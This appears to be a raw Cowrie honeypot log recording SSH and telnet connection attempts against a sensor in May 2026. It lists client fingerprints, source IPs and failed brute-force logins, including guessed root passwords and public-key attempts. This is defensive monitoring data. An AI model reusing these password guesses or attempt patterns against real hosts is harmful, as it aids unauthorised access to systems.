{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:51.071411Z","src_ip":"2.57.122.238","session":"cce914dd0df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:51.373622Z","src_ip":"2.57.122.238","session":"cce914dd0df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:52.477047Z","src_ip":"2.57.122.238","session":"cce914dd0df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39486,"dst_ip":"10.17.0.5","dst_port":23,"session":"037324370910","protocol":"telnet","message":"New connection: 152.42.224.71:39486 (10.17.0.5:23) [session: 037324370910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:00.220656Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"25950cb60a87","protocol":"telnet","message":"New connection: 152.42.224.71:36710 (10.17.0.5:23) [session: 25950cb60a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:13.061291Z"}
{"eventid":"cowrie.session.closed","duration":107.81855916976929,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:16.473149Z","src_ip":"152.42.224.71","session":"5038c7e73e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":5595,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf8b61611609","protocol":"ssh","message":"New connection: 193.46.255.86:5595 (159.203.135.109:22) [session: cf8b61611609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:39.017845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:39.021520Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:39.145525Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huigu309","message":"login attempt [root/huigu309] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:39.720212Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5nWt3P-fF4WosQm5O","message":"login attempt [root/5nWt3P-fF4WosQm5O] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:40.849022Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:41.977616Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aDm8H%MdA","message":"login attempt [root/aDm8H%MdA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:43.105303Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:44.232994Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:45.360728Z","src_ip":"193.46.255.86","session":"cf8b61611609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60672,"dst_ip":"10.17.0.5","dst_port":23,"session":"6197742f41f7","protocol":"telnet","message":"New connection: 152.42.224.71:60672 (10.17.0.5:23) [session: 6197742f41f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:21:50.570392Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":44422,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9880256efa9","protocol":"ssh","message":"New connection: 148.153.121.224:44422 (10.17.0.5:22) [session: e9880256efa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:12.958602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:12.963506Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.006021Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.547845602035522,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.118064Z","src_ip":"152.42.224.71","session":"6197742f41f7","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:ab:5b:3f:35:e6:39:71:2a:6f:bf:7a:23:0d:c6:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEjdcxwYe8aK0UvtNcYSWkJ0iuTAqnWNiU5U6Th2faB+dORUqULOyxtMcyRdOddyppQF7qli1C50OEGsAALZUoTcExh3qY9FumUCGnGqMqVn+Kij+4woCkIlXUqRpf41gU9KQYFla1xgJ+LwF1jYmv40eCIfEFJ8V0TrYUf8HtFCrCDMp7RUuyx+mlG0CisWVWBLIU4TKUdXolI2v9WyZTR2+r1CVTZD4mtO/OqFb6xMJYrvm69tTUgoK1Z+I7uPWkkdkFC1MkSH1c+h0x6TIuY4O9naAEYmTo0+0zMKkRyEDuFvz7Oe5UncqZpsab3aE64yxrsV2b8CRE/Y6tXvMb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:ab:5b:3f:35:e6:39:71:2a:6f:bf:7a:23:0d:c6:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.200289Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:ab:5b:3f:35:e6:39:71:2a:6f:bf:7a:23:0d:c6:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEjdcxwYe8aK0UvtNcYSWkJ0iuTAqnWNiU5U6Th2faB+dORUqULOyxtMcyRdOddyppQF7qli1C50OEGsAALZUoTcExh3qY9FumUCGnGqMqVn+Kij+4woCkIlXUqRpf41gU9KQYFla1xgJ+LwF1jYmv40eCIfEFJ8V0TrYUf8HtFCrCDMp7RUuyx+mlG0CisWVWBLIU4TKUdXolI2v9WyZTR2+r1CVTZD4mtO/OqFb6xMJYrvm69tTUgoK1Z+I7uPWkkdkFC1MkSH1c+h0x6TIuY4O9naAEYmTo0+0zMKkRyEDuFvz7Oe5UncqZpsab3aE64yxrsV2b8CRE/Y6tXvMb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.204957Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:74:76:77:6c:57:47:8c:e6:8d:d6:f1:9d:d2:69:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnP7NuubnGGqS0KRgkgNq9SeABSidSaTh9mvIEvjiQ66unpV+RwXtrq4V0rqAVjzBa7H811zItQxj6CXG3Nyhu8k8u/KjwUvnOqpb9XLQFFRn5iCR45QJZAhmCK6sNxYQUI7oYBH2RdICNPAdrTeUemJjlXXKHBkNfxJn3m4pmVXuWqZNF4k9s/uBa41k5mIixZ+qakVFXu7o1NjiaKoley05eXmK7C4tDcFqoI7EcuzsGbvhh1d1QqECrvxrzqFJV68RJppW1GLjJH7OpK+GTHcRz/k9bue5IhrLBFmtT7eUzv4YOzyAtnPmQqnicAxNjH04LcvpWXTAdWdh0ugRB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:74:76:77:6c:57:47:8c:e6:8d:d6:f1:9d:d2:69:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.255012Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:74:76:77:6c:57:47:8c:e6:8d:d6:f1:9d:d2:69:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnP7NuubnGGqS0KRgkgNq9SeABSidSaTh9mvIEvjiQ66unpV+RwXtrq4V0rqAVjzBa7H811zItQxj6CXG3Nyhu8k8u/KjwUvnOqpb9XLQFFRn5iCR45QJZAhmCK6sNxYQUI7oYBH2RdICNPAdrTeUemJjlXXKHBkNfxJn3m4pmVXuWqZNF4k9s/uBa41k5mIixZ+qakVFXu7o1NjiaKoley05eXmK7C4tDcFqoI7EcuzsGbvhh1d1QqECrvxrzqFJV68RJppW1GLjJH7OpK+GTHcRz/k9bue5IhrLBFmtT7eUzv4YOzyAtnPmQqnicAxNjH04LcvpWXTAdWdh0ugRB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.258960Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:40:58:d1:f6:f9:9e:f1:1c:d9:13:aa:27:0e:ca:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClF4nTEwBGkkgEQkhwGSK32ivNYJu0I1ib+u9t4JxCxKC/aWa9755bmY/osxTjZc1fzK8Goe8cynfQsuW0uWN0wNIJ4HQQYFUFfMVs1vhKtyTmnGcpAVHK/jtAtM3Pwt2QsPW4DOQeCX16D+UcOsBXD4iHEIfj3YMv49CM3lNiSgCzzko7TtQ6A/vuoVDF/aCtgoRii4ohGb737f4/wRJHjFZ/VQqhMZ68AOV5kGlPfRTbamoI3JdE115ZMrnfASDL94Ljf7JLMXHHq4B5waRE50u5TEdPzQxN6taChQ5HqK4dUQwGy9/rIbI+OAIgo7GH3nbEYEG76VZcEO25YGYStgk7Wul3xxDLyxG1bZGLLlJlFGjyD7HFa6JyElKiItbCbpjmjxKAc3HYO/Lccp70G5bi75yzfiOUVjQ0uiGvjoMoEwZQ10xZq7fmVBj3SDIh/1kvUHcEKN3GQxBn71C59R4GJ8f9wxH3exkRcFpa2AFyTo8ZsvzdmbyCaPqwcevMJ4tTxmTFLhBsUDtbDHIY2WEuu3d4mIBqRNV6VhXnT6Sha6jmgHQxpkT0mrubZMipGORHrh+IFwSzbjDSHIl0vyq5mZE+cbZWdpI6W4BThReH6+RvjiiDti/N1j6Q5+rNkr9vpeKl6GuXs3ULGVnPuRwOZVAC6rPoOaUTZyZLPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:40:58:d1:f6:f9:9e:f1:1c:d9:13:aa:27:0e:ca:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.302674Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:40:58:d1:f6:f9:9e:f1:1c:d9:13:aa:27:0e:ca:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClF4nTEwBGkkgEQkhwGSK32ivNYJu0I1ib+u9t4JxCxKC/aWa9755bmY/osxTjZc1fzK8Goe8cynfQsuW0uWN0wNIJ4HQQYFUFfMVs1vhKtyTmnGcpAVHK/jtAtM3Pwt2QsPW4DOQeCX16D+UcOsBXD4iHEIfj3YMv49CM3lNiSgCzzko7TtQ6A/vuoVDF/aCtgoRii4ohGb737f4/wRJHjFZ/VQqhMZ68AOV5kGlPfRTbamoI3JdE115ZMrnfASDL94Ljf7JLMXHHq4B5waRE50u5TEdPzQxN6taChQ5HqK4dUQwGy9/rIbI+OAIgo7GH3nbEYEG76VZcEO25YGYStgk7Wul3xxDLyxG1bZGLLlJlFGjyD7HFa6JyElKiItbCbpjmjxKAc3HYO/Lccp70G5bi75yzfiOUVjQ0uiGvjoMoEwZQ10xZq7fmVBj3SDIh/1kvUHcEKN3GQxBn71C59R4GJ8f9wxH3exkRcFpa2AFyTo8ZsvzdmbyCaPqwcevMJ4tTxmTFLhBsUDtbDHIY2WEuu3d4mIBqRNV6VhXnT6Sha6jmgHQxpkT0mrubZMipGORHrh+IFwSzbjDSHIl0vyq5mZE+cbZWdpI6W4BThReH6+RvjiiDti/N1j6Q5+rNkr9vpeKl6GuXs3ULGVnPuRwOZVAC6rPoOaUTZyZLPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.305934Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:e6:e1:5d:2f:46:98:fe:82:06:f4:e8:27:96:66:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqrFGJRvIkUSR45vMIQqMxwLG2HAs5IDOG6RUuXWnxkFeDY6V1X0DLU/VJQMj93AVE5lLr8I4E9f3JoaEeaZyWnDxJhkJYhC9wMYrbxkTzsv7Lfc+R2bfqyEbRuSE589Z7/47dm059sL7Hz3KcQPHhTX/6vkTxL8E7UW/dA2EQ5Jbg52xchzE4cWsxnviFu282ca8qSfY9tikSV42hfFYlgUhnv00MNU7e8HHmjC/YPU5wrJOLSr50IPOFKVz4EOtv5PjVGTYHPubsv1wek1mPPPgPAZEGj7x/kN49zGSsHs4JdWeAI1qkD9rdzAVJFmWFwX+fVdNtLOPnGxCykL2sbIc/H3Tqsu9FRAiCxU4sYJJY/h2ykML3QRpdzoxcu5yHczx2MKLVQwxkG37Ir/Zd6tQMUTCc0C3zWNYiEPcQ7x8KhU6SmEDPgNDJw7of8LhTKT9wrz0KvBKEpRicNCRo2BNw4LuWpAp5rwaQXkSVOSQI8YsKuZ7ikjgM98pOjQTGh5dASsFkVoxXrQRn0zPkNoweXcl19r6pr8gF0hG3w3hbNKOHYBuuJqOt1hj1ewas5Ci89sk24E2X+DMC4a895EGUyzAR5USt+ANttpL/f4G1JJD/uz7SvW70RnJYapDDq5ATPO/h4Ov9ZsgvAgCXeODlbVGkBo/gHfu78hwEFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:e6:e1:5d:2f:46:98:fe:82:06:f4:e8:27:96:66:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.350155Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:e6:e1:5d:2f:46:98:fe:82:06:f4:e8:27:96:66:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqrFGJRvIkUSR45vMIQqMxwLG2HAs5IDOG6RUuXWnxkFeDY6V1X0DLU/VJQMj93AVE5lLr8I4E9f3JoaEeaZyWnDxJhkJYhC9wMYrbxkTzsv7Lfc+R2bfqyEbRuSE589Z7/47dm059sL7Hz3KcQPHhTX/6vkTxL8E7UW/dA2EQ5Jbg52xchzE4cWsxnviFu282ca8qSfY9tikSV42hfFYlgUhnv00MNU7e8HHmjC/YPU5wrJOLSr50IPOFKVz4EOtv5PjVGTYHPubsv1wek1mPPPgPAZEGj7x/kN49zGSsHs4JdWeAI1qkD9rdzAVJFmWFwX+fVdNtLOPnGxCykL2sbIc/H3Tqsu9FRAiCxU4sYJJY/h2ykML3QRpdzoxcu5yHczx2MKLVQwxkG37Ir/Zd6tQMUTCc0C3zWNYiEPcQ7x8KhU6SmEDPgNDJw7of8LhTKT9wrz0KvBKEpRicNCRo2BNw4LuWpAp5rwaQXkSVOSQI8YsKuZ7ikjgM98pOjQTGh5dASsFkVoxXrQRn0zPkNoweXcl19r6pr8gF0hG3w3hbNKOHYBuuJqOt1hj1ewas5Ci89sk24E2X+DMC4a895EGUyzAR5USt+ANttpL/f4G1JJD/uz7SvW70RnJYapDDq5ATPO/h4Ov9ZsgvAgCXeODlbVGkBo/gHfu78hwEFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.353850Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:e3:34:17:03:2b:10:c6:e6:9e:92:c7:2e:40:a5:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUhorXuhQrn5Ml3njLM8LXN3MpslX54/C8WnSwNusfDRXs6xBkaYZqkq11KT2BRdnmdcxhLmV3A875YUDEvJuFfRnSf6jhZw83NJsWQCEWCCcXrLul7XUiyKuZU10rU64+vxQ4I4dHY6wBL/GIZ6oPnpIJ7iLBN4LknvHj5SHgiciqLM+xrljI12otCP+o3Crtje4PTwsDoblKou7kloUhFGulFu5hqscuUQkvp65/WhYM7ljBtsiZx09teyewAlifBQLoIhiOImZKlylrVH2vqPot+8YhE6UTDBuyhBNhgePRFsejayN9Jy8yJnbwiRLtJqr+0PfAVo/5AAQqP9F0Gdx3wXBdj8xG1A3P0yDGS1s/fFrb5f5HtvbLJp5StMr5nfeLlrYQOnGXPOlqWivWJQQPHtmuktN75GdapznGKWNRUd4rZK3lTb+nhMYpvFFHwdeCXNZ5yhrHpEJG8qXabkHs0Q2+LTH0Zq8FV7AUw8fBpusUNeb9cYu6/ZxW0Bktpa0OUaQ8nfBg4uwtuLnliBIV0uuGanW9oXabLLFwz3PQLT45Yjv8kKhwlyAx3CgCjhd7g2UwE4IXvYClSVRaYk0fj/boYk5dp9x5e1p6QnENnVD46um1rlaVUYceXWDFkbFRzRHOjhl3Zd5Bf8y5Y3NWelhcw8KHLzjdd6oVlw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:e3:34:17:03:2b:10:c6:e6:9e:92:c7:2e:40:a5:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.397484Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:e3:34:17:03:2b:10:c6:e6:9e:92:c7:2e:40:a5:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUhorXuhQrn5Ml3njLM8LXN3MpslX54/C8WnSwNusfDRXs6xBkaYZqkq11KT2BRdnmdcxhLmV3A875YUDEvJuFfRnSf6jhZw83NJsWQCEWCCcXrLul7XUiyKuZU10rU64+vxQ4I4dHY6wBL/GIZ6oPnpIJ7iLBN4LknvHj5SHgiciqLM+xrljI12otCP+o3Crtje4PTwsDoblKou7kloUhFGulFu5hqscuUQkvp65/WhYM7ljBtsiZx09teyewAlifBQLoIhiOImZKlylrVH2vqPot+8YhE6UTDBuyhBNhgePRFsejayN9Jy8yJnbwiRLtJqr+0PfAVo/5AAQqP9F0Gdx3wXBdj8xG1A3P0yDGS1s/fFrb5f5HtvbLJp5StMr5nfeLlrYQOnGXPOlqWivWJQQPHtmuktN75GdapznGKWNRUd4rZK3lTb+nhMYpvFFHwdeCXNZ5yhrHpEJG8qXabkHs0Q2+LTH0Zq8FV7AUw8fBpusUNeb9cYu6/ZxW0Bktpa0OUaQ8nfBg4uwtuLnliBIV0uuGanW9oXabLLFwz3PQLT45Yjv8kKhwlyAx3CgCjhd7g2UwE4IXvYClSVRaYk0fj/boYk5dp9x5e1p6QnENnVD46um1rlaVUYceXWDFkbFRzRHOjhl3Zd5Bf8y5Y3NWelhcw8KHLzjdd6oVlw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.401925Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:13.448324Z","src_ip":"148.153.121.224","session":"e9880256efa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":64122,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ecd697ca55","protocol":"ssh","message":"New connection: 194.59.206.2:64122 (159.203.135.109:22) [session: 35ecd697ca55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:23.558061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:23.579044Z","src_ip":"194.59.206.2","session":"35ecd697ca55","protocol":"ssh"}
